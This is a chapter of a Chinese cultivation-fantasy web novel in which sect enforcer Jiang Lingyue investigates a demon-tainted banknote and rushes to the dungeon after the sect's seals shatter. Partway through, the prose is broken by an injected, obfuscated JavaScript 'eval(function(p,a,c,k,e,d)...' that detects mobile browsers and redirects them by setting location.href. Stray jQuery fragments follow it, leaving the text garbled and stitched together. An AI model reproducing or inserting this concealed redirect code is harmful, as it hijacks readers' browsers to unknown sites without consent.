血肉被穿透的闷响清晰到刺耳,鲜血瞬间涌出,顺着黢黑的降魔杵蜿蜒流下,一滴一滴落在污浊的地面。
呼——
呼——
难抑的喘息从顾长生的口中溢出,他半跪着身子,眉头紧锁,眼底带着令人不敢直视的渴望看向逆光而站的江凌月。
她就这么半侧着身子站在门口,身后的光勾勒出她有些消瘦,但十分笔挺的身影,圣洁,不可亵渎。
顾长生嘴角的笑容更深了,他死死盯着江凌月,仿佛要把这一幕彻底印在脑子里,直到灵魂破碎都不能忘记。
漫长的死寂开始在地牢内蔓延,众人甚至不敢呼吸,直到江凌月打破沉默。
“乔雪。”
“在!师姐……在!”
江凌月平静地说:“第一,登记五十六天前逮捕的堕魔弟子张顺自然死亡。第二,在场所有人下封口令,今日看见的任何事,均不得说出。”
乔雪的声音有些哆嗦:“……是。”
她挣扎着从人堆中爬出,而当她彻底恢复自由,只能看见远方甬道拐角处江凌月一闪而过的衣摆,毫不留恋。
众人大气不敢出,极其自觉地在自己心脉上点上两点,完全不敢马虎,东瞅瞅西看看,最后顺着乔雪的目光落在牢房中看着十分狼狈的顾长生。
乔雪有些犹豫,她想起当时师姐千里传音时说的:此人于我而言很重要,务必治好。
那现在到底是个什么情况?顾长生杀了许计和,但是师姐并没有出手惩戒他,甚至当时开门时的情况若是不出意外,应该是想放过他吧?
结果他自己把自己关起来,甚至还直接用上了只有魔族才用的降魔杵?而师姐也是一句话不说,转身就走。
那……人就这么关着?
她满脸不可置信地走到关押着顾长生的牢房前,若有所思地打量着一脸风轻云淡的男子,良久,试探地问道:“你……自愿的?要不我帮你把降魔杵去掉吧?”
顾长生抬起眼皮,嘴角还勾着那抹微妙的笑,“和师姐说声对不起,”他的声音带着无法掩盖的气声,十分虚弱,“我自愿请罚。”
说完,他就向着旁边自然而然地倒去,降魔杵的锁链在空中发出哗啦啦的声音,摆明了拒绝出去的态度。
乔雪叹了口气,挥挥手,连忙带着其余弟子走出充斥着血腥味的地牢,各自散去。
甬道尽头,刚走出地牢的江凌月看着远方的天边,喃喃道:“这个世界的希望竟然能是那个疯子……”
身后刚好经过的弟子:“啊?司主您说什么?”
“没什么,”江凌月深深叹了口气,快步向着自己的寝居走去。
许计和的堕魔绝非偶然,他虽心志不坚,但也不是过于脆弱之人,不该如此轻易堕魔,以及又是谁在中间充当交易人,顾长生又扮演了什么身份,魔族到底要做什么?
潜意识中一丝怪异的感觉萦绕在江凌月心头,不断折磨着她有些紧绷的神经,来到这个世界已经三年,她还是时不时觉得一切都是那么的不真实。
江凌月无声地叹口气,将明早去见仙盟盟主的讯息捏诀送出,加快了步伐,换了个思考方向——
顾长生绝不能被驱逐,极阳之体以及气运之子是身份说明哪怕她的手段见不得光,这人也必须被她牢牢掌控在手中。
像是感受到她在思索什么,江凌月紧凑的步伐逐渐停滞,她满脸狐疑地将手伸进口袋中,指尖猛然一灼。
她眉头紧锁,顾长生的灵力留在她的指尖,引导着她从口袋中拿出张他偷偷塞进去的银票。
杨家官银钱号,准二两平足色银七斤,取款人,许计和。
这段时间只有顾长生近了她身,他这是想做什么?
她皱着眉头将这张银票举起,顺着连廊两边的光芒细细打量。
无伪造痕迹,无涂抹修改痕迹,甚至连一丝折痕都没有,只有右下角稍微沾了点血迹。可偏偏那上面不知为什么,魔气冲天,连带着周围的空间都隐隐有些扭曲,隐隐约约还能听到些许刺耳的尖叫。
她尝试着向内注入灵力,突然,一丝异样的感受席卷心头,好似有人在窥探她,那视线仿佛有重量,压得她不得不站立在原地,环视一圈。
远处有巡逻的子弟,身影忽明忽暗,时不时有不知名的鸟类扑扇翅膀发出的声音。
她连忙收起银票,那试探的视线瞬间消失。
会是巧合吗?
江凌月垂下眸,将银票握在掌心,好似没有发生任何事一样走回寝居,平静地合上门,点燃桌上的灵烛,当温暖的光芒和灵力逐渐侵入那张银票时——
果不其然,奇怪的视线再次出现,而且相较于先前更加明显,她甚至能够实打实地感觉到那视线的源头就来源于银票。
江凌月连忙将灵烛移开,危机感从心底层层涌出。
答案很简单,许计和欠了大额赌债,所以他才会和魔族交易,这张银票应该是顾长生被绑架时从那魔族身上偷的。
但……
为什么会有这种视线?顾长生又为什么要偷偷塞给她?
江凌月将银票小心收好,带着疑问开始入定。
当前这个世界,或许金丹修为已经超过了绝大部分修士,但还远远不够,她还要变得更强,所以在知晓心法修炼可以代替睡眠后,她就直接开启“上六休一”的修炼模式。
然而功法还未运转够四个小周天,就听着远方传来声声巨响。
轰——
轰——
轰——
连带着整个大地都在颤抖,地面如同波浪般起伏,自东北边传递而来,江凌月被剧烈的晃动惊醒,一手撑住床榻,目光直指窗外。
灵鸟惊叫着飞起,羽翼遮天蔽日。
她没有丝毫犹豫,抓起身边的佩剑,利落翻身,御剑冲出屋内。
轰轰轰——
这一次的震荡远超之前,不再是先前沉闷的余波,而是整个大地都被撕裂的怒吼。江凌月只觉着脚下的剑刃猛然一沉,四周殿宇的砖瓦开始簌簌向下滚落,砸在地上四散而飞,发出刺耳的声响。
此时东北边的天空开始泛起黑紫色的光,瞬间将黎明前的深蓝色撕裂,将半边天空彻底染成污浊的黑。
“魔气!是禁地的封印!”下方传来弟子们惊恐的喊声,“所有封魔阵法都碎了!”
“快去找祈圣司,还有通知长老院!”
“有魔族!!!”
……
整个仙盟瞬间乱成一锅粥,刺耳的警钟声响彻在整个仙盟的上空,无数道流光从江凌月身边经过,向着禁地的方向急射而去。
更为重要的是,人群中有隐藏的魔族直接开始袭击修士,好似那地动只是个信号,一切隐藏在水面下的东西开始浮现。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941360|177368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窥视感,魔族,许计和……
所有的线索在此刻如同乱麻般缠绕在江凌月的脑中,伴随着地动的轰鸣扰得她灵台都隐隐地疼,一些零碎的片段从眼前闪烁而过。
这是什么?这具身体原来的记忆吗?
但时间容不得她多想,仙盟职责分工明确,作为戒律司司主,她现在应该做的是控制局面。
江凌月强行压下脑中翻腾的杂念与零碎的画面,足尖在剑身轻点,直直扎入人群中最为纷杂的地方。
“乔雪!”江凌月的声音穿透混乱,精准地落到正在组织弟子镇压一名魔族弟子的乔雪耳中。
“司主,我在!”
“所有出现堕魔迹象者,就地制服,押回地牢!若有反抗者格杀勿论,以及派出一队去保护陆松。”
乔雪一剑捅穿身旁正欲咬向她脖子的魔族,干脆利落:“是!”
下一秒,江凌月如箭矢般冲入摇摇欲坠的戒律司大殿内。
地牢便在大殿的深处,此时震动不断,虽说已有无数弟子在用阵法加固建筑,但砖石瓦砾仍在不断下落,支撑房梁的巨柱已然攀爬着裂痕。
江凌月一路疾奔,不敢耽误,甬道内烟尘弥漫,加固建筑的阵法光芒明灭不定,照亮周围弟子们有些惊慌但仍然坚毅的面孔。
猛然,一条手臂从旁边将她拦下,身上还带着夜晚的肃冷,像是匆匆赶路而来。
“江凌月,地牢里的阵法破了,你不要下去,我已经通知白薇长老过来处理!”
翟景满脸担心,面颊上还带着不知从何处蹭到的墙灰,身上的衣服也被撕开道道口子,右肩向下有一道极深的血痕,狼狈极了。
江凌月瞥了他一眼,冷冷说:“滚。”作势就要从他身边绕去,谁知翟景竟然直接架结界,将通往地牢的甬道彻底堵死。
在他身后,灵烛的光芒忽明忽暗,石块不断掉落。
“你不能下去!”翟景十分认真,“别忘了我是祈圣司少司主,而仙盟内所有封魔阵法都由我们负责,此次地动蹊跷,所有封魔阵法都破碎了。你只有金丹实力,应付不了的,等白薇长老来,我们可以一起把那些逃窜的魔族再一起抓起来。”
江凌月怀中的银票越来越烫,那种窥视的视线越来越黏腻,近乎出现实质,连带着耳边都传来若有若无的魔唸声,扰得她心绪纷乱。
她轻咬舌尖,强行拉回意识,命令道:996,查看翟景血条。
996:50灵石已扣除,功能开启。
只见翟景头上清清楚楚:95/100,他根本没有受伤。
江凌月眉头一皱,心底更加厌恶。
“滚开。”江凌月的声音冷得如同淬了冰的刀锋,她死死看着翟景,“别逼我动手。”
“不行,我……”翟景被她眼底一闪而过的杀意震得心头一颤。
话音未落,江凌月动了。
没有废话,没有蓄力,那把诡异的匕首瞬间出刃,带着千钧之势攻向翟景的右肋下方,那是他功法最明显的破绽,他只得撤回灵力进行防御,谁知江凌月身影却如同鬼魅般闪烁两下,直接毫不留情地没入通往地牢的甬道内。
下一秒,甬道深处的地牢门传出声被突破的巨响,魔气冲天。
在他愤怒且惊恐的目光下,一个身影从漫天的魔气中出现,顾长生不知从何处现身,一把将江凌月拉入到他充满血腥味的怀中。